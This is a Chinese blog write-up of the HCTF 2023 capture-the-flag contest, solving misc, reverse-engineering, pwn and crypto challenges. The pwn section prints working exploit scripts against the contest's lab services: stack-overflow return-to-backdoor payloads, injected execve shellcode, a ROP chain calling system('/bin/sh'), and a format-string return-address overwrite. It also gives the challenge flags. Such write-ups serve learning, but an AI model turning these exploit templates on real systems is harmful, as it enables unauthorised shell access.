HCTF 2023 wp

HCTF 2023 wp

一、Misc

1.玩原神玩的

分析:附件为一张图片

玩原神玩的.png

观察最后一行,明显有flag的格式

搜索得知是

image.png

对照得flag为:hctf{yuanlainiyewanyuanshenhhh}

2.signin

附件为一段文本

WzEwNCwgOTksIDExNiwgMTAyLCAxMjMsIDY2LCA5NywgMTE1LCAxMDEsIDk1LCA3MCwgNjQsIDEwOSwgMTA1LCA0OSwgMTIxLCA5NSwgNTIsIDExNCwgMTAxLCA5NSwgODYsIDk3LCAxMTQsIDEwNSwgNDgsIDExNywgMTE1LCAxMjVd

base64解码后得到

[104, 99, 116, 102, 123, 66, 97, 115, 101, 95, 70, 64, 109, 105, 49, 121, 95, 52, 114, 101, 95, 86, 97, 114, 105, 48, 117, 115, 125]

很明显是ASCII码

编写py脚本

ascii_list = [104, 99, 116, 102, 123, 66, 97, 115, 101, 95, 70, 64, 109, 105, 49, 121, 95, 52, 114, 101, 95, 86, 97, 114, 105, 48, 117, 115, 125]

# 将ASCII码转换为字符
result = ''.join(chr(num) for num in ascii_list)

print(result)

得到hctf{Base_F@m1y_4re_Vari0us}

3.Bomb

先用nc连接,然后多尝试几次发现炸弹的分布比较固定,对照着通关即可拿到flag

image.png

二、Re

1.SDU的第一张考卷

将附件用 IDA pro打开

image.png

main函数里就有答案,最后一题需要猜,最多猜4次嘛()

image.png

flag:HCTF{ACCBDAADBB}

2. XOR

一个简单的异或,告诉了我们enc数组和密钥key,将enc数组中的元素与key逐位异或即可

写出py脚本:

enc = [ 16, 115, 38, 25, 3, 67, 109, 114, 23, 21, 103,52, 75, 111, 97, 90, 47, 45, 101, 32, 91, 83, 83,93, 60, 28, 0, 41, 93, 1, 109, 122, 38, 28, 17 ,40, 81, 66, 75, 67, 60, 98]
key = 'HCTF2023'

flag = ''
for i in range(len(enc)):
    xor_result = enc[i] ^ ord(key[i % len(key)])
    flag += chr(xor_result)

print(flag)

输出为:X0r_1s_A_V3ry_Sign1ficant_Too1_In_Encrypt!

flag:HCTF{X0r_1s_A_V3ry_Sign1ficant_Too1_In_Encrypt!}

3.Maze

放入IDA阅读代码

image.png

flag要进入一个check函数,我们继续阅读check函数

strcpy(
    maze,
    "********************U..**************.****..O*****...****.*******.******.*******........********************************");
  count = 0;
  init_location = 20;
  while ( count <= 19 )
  {
    v1 = count++;
    v2 = flag[v1];
    if ( v2 == 100 )
    {
      ++init_location;
    }
    else if ( v2 > 100 )
    {
      if ( v2 == 115 )
      {
        init_location += 15;
      }
      else if ( v2 == 119 )
      {
        init_location -= 15;
      }
    }
    else if ( v2 == 97 )
    {
      --init_location;
    }
  }
  return maze[init_location] == 79;
}

v2有wasd四种情况,想到上下左右四个方向

a 和 d 分别是位置-1和位置+1

而 w 和 s 是-15和+15

如果w s是向上下方向走的,则不难推出迷宫的规格为15×15

根据给出的字符串画出迷宫

***************
*****U..*******
*******.****..O
*****...****.**
*****.******.**
*****........**
***************
***************

代码里描述了起始位置为U,终点为O,则需要的操作为:

ddssaassdddddddwwwdd

flag:HCTF{ddssaassdddddddwwwdd}

三、pwn

1、gift

nc连接即可

image.png

2、Fly

先checksec一下

image.png

64位且可以进行栈溢出

然后我们阅读程序代码

image.png

read函数可以进行栈溢出,但进入if中我们需要找到一个字符使它的ASCII码值为-105

关于ASCII码为负值的原因可以参考:

https://blog.csdn.net/kelehaier/article/details/59560419

据此我们可以计算出实际的ASCII码为151

然后我们查看buf的栈

image.png

起始地址为0xD0

溢出值为:

offset = 0xD0+0x08

找到后门函数

image.png

后门函数起始地址为:image.png

构造payload为:

payload = b'a'*offset+p64(0x40086E)

exp:

from pwn import *
r = remote("10.102.32.142", 23961)
ch = chr(151)
offset = 0xD0+0x08
r.sendline(ch)
payload = b'a'*offset+p64(0x40086E)
r.sendline(payload)
r.interactive()

成功拿到shell

image.png

3.sdu_L0g1n

同样先checksec一下

image.png

同样是64位且未开启栈保护

拖进IDA分析程序

image.png

发现有两次strcmp检测,我们需要绕过strcmp检测

可以通过后面加\x00的方法绕过

找到后门函数:

image.png

观察程序结构,我们可以考虑从main函数通过read的栈溢出溢出到后门函数的位置,这样就可以劫持后门函数获取shell权限

经过反复调试,exp为

from pwn import *

r = remote("10.102.32.142", 26613)
offset = 0x40

r.sendline('SDUpwner\x00')
payload = b'N1nEmAN is C.o0O0OOOOL!\x00'+b'a'*offset +p64(0x4006C6)
r.sendline(payload)
r.interactive()

image.png

image.png

4.rdshellcode

打开附件,观察main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[104]; // [rsp+0h] [rbp-70h] BYREF
  int v5; // [rsp+68h] [rbp-8h] BYREF
  int v6; // [rsp+6Ch] [rbp-4h]

  setvbuf(stdin, 0LL, 0, 0LL);
  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("I'm glad that you choose pwn");
  puts("But i am n0t sure you really love pwn or not");
  puts("Can't you prove yourself?");
  puts("Tell me something....");
  srand(0x2023u);
  v6 = rand() % 2 - 60;
  __isoc99_scanf("%d", &v5);
  if ( v6 != v5 )
  {
    puts("You DO Not Really Love PWN !");
    exit(1);
  }
  puts("Nice!!!!, you have proved your love for pwn");
  printf("It's time for me: %p\n", buf);
  puts("Dot' you want to make friends with me?");
  read(0, buf, 0x100uLL);
  return 0;
}

v6实际上是一个伪随机数,一直为-59,我们让v5的值为-59即可
然后程序会输出一个地址
image.png

发现地址是随机化的,所以我们要用pwntools里的内置函数读取printf出的buf的地址

exp如下:

from pwn import *
p = remote("10.102.32.142",27714)
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
p.sendline(b'-59')
p.recvuntil(b':')
buf = p.recvline()
print(buf)
#shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
# shellcode = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'

payload = b'A' * (0x70 + 8) + p64(int(buf,16) + 0x70 + 8 + 8)  + shellcode
p.sendline(payload)
p.interactive()

buf的栈深度是0x70,64位程序+8,后面再+8是shellcode地址的长度,于是我们可以得到如下模板


payload = b'A' * (栈深度 + 8) + p64(int(栈地址,16) + 0x70 + 8 + 8)  + shellcode

shellcode我们可以用pwntools生成

context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())

运行exp得到flag

5.fleshman

main函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[32]; // [rsp+0h] [rbp-20h] BYREF

  memset(s, 0, sizeof(s));
  init();
  puts("We1c0me t0 SDU! Since y0u are f1esh here,te11 me s0mething ab0ut Y0u:");
  puts("Your name: ");
  read(0, s, 0x20uLL);
  puts("Your ID: ");
  read(0, s, 0x28uLL);
  if ( !strcmp(s, "pwnner") )
  {
    printf("\nNice t0 mEEt y0u %s", s);
    putchar(10);
    vuln();
  }
  getflag();
  return 0;
}

strcmp绕过+构造ROP链
image.png

用ROPgadget查找出pop rdi的地址

ROPgadget --binary 文件路径 --only "pop|ret" | grep rdi

然后套用rop链的模板
payload = b'a'*offset +p64(pop_rdi)+ p64(binsh)+p64(call_system)

exp如下:

from pwn import *
p = remote("10.102.32.142",31698)
p.sendline(b'miyu')
p.sendline(b'pwnner\x00')
offset = 0x70 + 8
binsh = 0x402640
call_system=0x401392
pop_rdi = 0x401513
payload = b'a'*offset +p64(pop_rdi)+ p64(binsh)+p64(call_system)
p.sendlineafter(b'WhAt can Y0u d0....',payload)
p.interactive()

得到flag

6.rememberornot

观察main函数,发现只要计算100道题的答案即可获得flag
直接上脚本

from pwn import *
p = remote("10.102.32.142",38108)
p.recvuntil(b':')
for i in range(100):
    p.recvuntil(b':')
    expression = p.recvline()
    Expression = expression[:-3]
    print(Expression)
    ans = eval(Expression)
    Ans = str(ans)
    print(ans)
    p.sendline(Ans)
p.interactive()

利用python内置的eval函数即可进行表达式的运算

flag:HCTF{Y0U_RE@l1Y_REMEMbER_Y0uR_mA7H968ce06ba4d9}

7.overflow

本题为最简单的栈溢出
vuln函数

int vuln()
{
  int result; // eax
  char v1[76]; // [rsp+0h] [rbp-50h] BYREF
  int v2; // [rsp+4Ch] [rbp-4h]

  v2 = 0;
  result = gets(v1);
  if ( v2 == 2 )
    return system("cat flag");
  return result;
}

直接对v1进行溢出即可

exp:

from pwn import *
p = remote("10.102.32.142",22019)
offset = 0x50+8
system_addr=0x401225
payload = b'a'*offset+p64(system_addr)
p.sendline(payload)
p.interactive()

8. gift军训版

关键函数如下:

void __cdecl junxun()
{
  char you; // [rsp+6h] [rbp-Ah] BYREF
  char fesitival; // [rsp+7h] [rbp-9h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fesitival = -127;
  puts("\x1B[33mMilitary training? When is the festival\x1B[0m");
  __isoc99_scanf("%c", &you);
  printf("You believe 0x%hhx is the fesitival?", (unsigned int)you);
  if ( fesitival != you )
  {
    puts(" nononono...");
    exit(1337);
  }
  puts(" yesyesyes!!!");
  system("sh");
}

又是熟悉的ASCII码为负值的情况

实际的ASCII码为129

exp:

from pwn import *
p = remote("10.102.32.142",47318)
payload =chr(129)
p.sendline(payload)
p.interactive()

9.小明的家庭住址

本题核心点在于格式化字符串的利用

main函数:

nt __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[48]; // [rsp+0h] [rbp-70h] BYREF
  char format[56]; // [rsp+30h] [rbp-40h] BYREF
  unsigned __int64 v6; // [rsp+68h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("\n\x1B[33m---------------------------------------------");
  puts("----------\x1B[0m\x1B[34mWelcome_to_address_SYSTEM\x1B[0m\x1B[33m----------");
  puts("---------------------------------------------\x1B[0m\n");
  puts("\x1B[32;5mWhere is XiaoMing's Home?\x1B[0m");
  read(0, buf, 0x30uLL);
  printf(buf);
  puts("\x1B[32;5mAnd where is XiaoHong's?\x1B[0m");
  read(0, format, 0x30uLL);
  printf(format);
  return 0;
}

对于这种printf没有任何限制条件的情况,我们可以利用格式化字符串漏洞

首先我们利用%p得到ret寄存器的地址

然后计算偏移

image.png

偏移为13

然后我们找到后门函数的地址0x40159C=4199836(十进制)

可以构造%4199836c%14$lln

exp如下:

from pwn import*
p = remote("10.102.32.142", 40682)
p.recv()
p.send(b'aaaa-%p')
p.recvuntil(b'Home?\x1b[0m\n')
addr = p.recv()[5:19]
Addr = int(addr ,16)
offset = 0x70+8
ret_addr = Addr+offset
payload = b'%4199836c%14$lln'+p64(ret_addr)
p.sendline(payload)
p.interactive()

四、Crypto

1.caesar

偏移量11

hctf{obviouslythisiscaesarcipher}

2.not_caesar

维吉尼亚密码,且没有告诉我们密钥

一个好用的网站 https://www.guballa.de/vigenere-solver

通过统计字符出现的频率来爆破出密码(文本足够长)

image.png

hctf{Icanbreakitwithoutkey}

3.MathⅠ

题目如下:

from Crypto.Util.number import *
from secret import prng
import os
flag = os.environ.get('FLAG', 'HCTF{this_is_a_sample_flag}')

#prng 参考2023新课标I卷P20
sys = prng()


def constraint():
    time = 1000
    sample_a = []
    sample_b = []
    for _ in range(time):
        out =  sys.next()
        sample_a.append(out[0])
        sample_b.append(out[1])
    assert all([sample_a[i]-sample_a[i-1] == sys.d for i in range(1, time)])
    assert all([sample_b[i-1] == (i**2+i)/sample_a[i-1] for i in range(1, time)])
    assert 3*sample_a[1] == 3*sample_a[0]+sample_a[2]
    return sum(sample_a[:777]+sample_b[:777])


def rsa_plus(m):
    p = getPrime(512)
    q = getPrime(512)
    n = p*q
    e = 0x10001
    m = bytes_to_long(m.encode())
    r1 = sys.next()[0]
    r2 = sys.next()[0]
    c = pow(pow(pow(m, e, n)*r1, e, n)*r2, e, n)
    h = 2*p+3*q
    return n, c, h

h1 = constraint()
n, c, h2 = rsa_plus(flag)
print(f'n = {n}')
print(f'c = {c}')
print(f'hint1 = {h1}')
print(f'hint2 = {h2}')
"""
n = 123448414953228974011805323696137868781943298061640108583721204983031140531897314375841622324228108297198646457634512292527604743406056418492269259916712299664727931022315281719439527653756604578385299396113560339992952472500080663133453498156861989739986186852600863076353168997852910108312422507070843691527
c = 70355784775921655880380025465489949573241301926464797611681833071256665441460869302372712558837199110767728290007652944220079907048322612573185968943864339915304868935319658344195708544022979094906385190425552202576200107202487083736800245172584184112275476974513051986233708501062909943346214681580048469716
hint1 = 234850971.0
hint2 = 54673117809069678475594947601860826118221736045735845051744912971409541561632603188516528135267179886112707141940065852170163389165168708306257365103150093
"""

constraint()函数描述了2023新课标I卷P20的题干部分
并且告诉我们h1是\(a_n\)\(b_n\)的前777项和,即

\[S_{777}+T_{777}=h1 \]

我们由此可以计算出\(a_n\)的通项公式为\(a_n=777n\)
根据time=1000,我们可以得出\(r_1\)\(r_2\)是数列\(a_n\)的第1001项和第1002项,即:

\[r_1=777\times1001\\ r_2=777\times1002 \]

然后根据含有\(p,q\)的两个式子,可以得到一个二元方程组:

\[\begin{cases} p*q=n\\ 2*p+3*q=hint2 \end{cases} \]

其中\(n\)\(hint2\)都是已知的,因此我们可以解出\(p\)\(q\)

from sympy import symbols, Eq, solve
import gmpy2
# 定义未知数
p, q = symbols("p q")
# 解方程
expr2 = [2*p+3*q-54673117809069678475594947601860826118221736045735845051744912971409541561632603188516528135267179886112707141940065852170163389165168708306257365103150093, p*q-123448414953228974011805323696137868781943298061640108583721204983031140531897314375841622324228108297198646457634512292527604743406056418492269259916712299664727931022315281719439527653756604578385299396113560339992952472500080663133453498156861989739986186852600863076353168997852910108312422507070843691527]
r2 = solve(expr2, [p, q])
print("r2:", r2)

得到:

p = 12384051763953430863668172341605062087552196009776396484360059546294965143403046818805051855772540020996782547927228938821561716941140613694437078638123523
q = 9968338093720938916086200972883567314372448008727684027674931292939870424942169850302141474574033281373047348695202658175679985094295826972461069275634349

然后我们根据c = pow(pow(pow(m, e, n)*r1, e, n)*r2, e, n)
进行解密

exp如下:

import gmpy2
from Crypto.Util.number import *
r1=1001*777
r2=1002*777
p = 12384051763953430863668172341605062087552196009776396484360059546294965143403046818805051855772540020996782547927228938821561716941140613694437078638123523
q = 9968338093720938916086200972883567314372448008727684027674931292939870424942169850302141474574033281373047348695202658175679985094295826972461069275634349
c = 70355784775921655880380025465489949573241301926464797611681833071256665441460869302372712558837199110767728290007652944220079907048322612573185968943864339915304868935319658344195708544022979094906385190425552202576200107202487083736800245172584184112275476974513051986233708501062909943346214681580048469716
e = 0x10001
n = 123448414953228974011805323696137868781943298061640108583721204983031140531897314375841622324228108297198646457634512292527604743406056418492269259916712299664727931022315281719439527653756604578385299396113560339992952472500080663133453498156861989739986186852600863076353168997852910108312422507070843691527
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
c1 = m*gmpy2.invert(r2, n)
m1 = pow(c1, d, n)
c2 = m1*gmpy2.invert(r1, n)
m2 = pow(c2, d, n)
print(long_to_bytes(m2).decode())

在共模下做除法我们需要求出r1和r2关于n的逆元\(r_1^{-1}\)\(r_2^{-1}\)

最终解得flag为:

HCTF{D0_y0u_900d_4t_m47h?###}

五、Web

1.

posted @ 2023-09-12 22:03  Smera1d0  阅读(113)  评论(0编辑  收藏  举报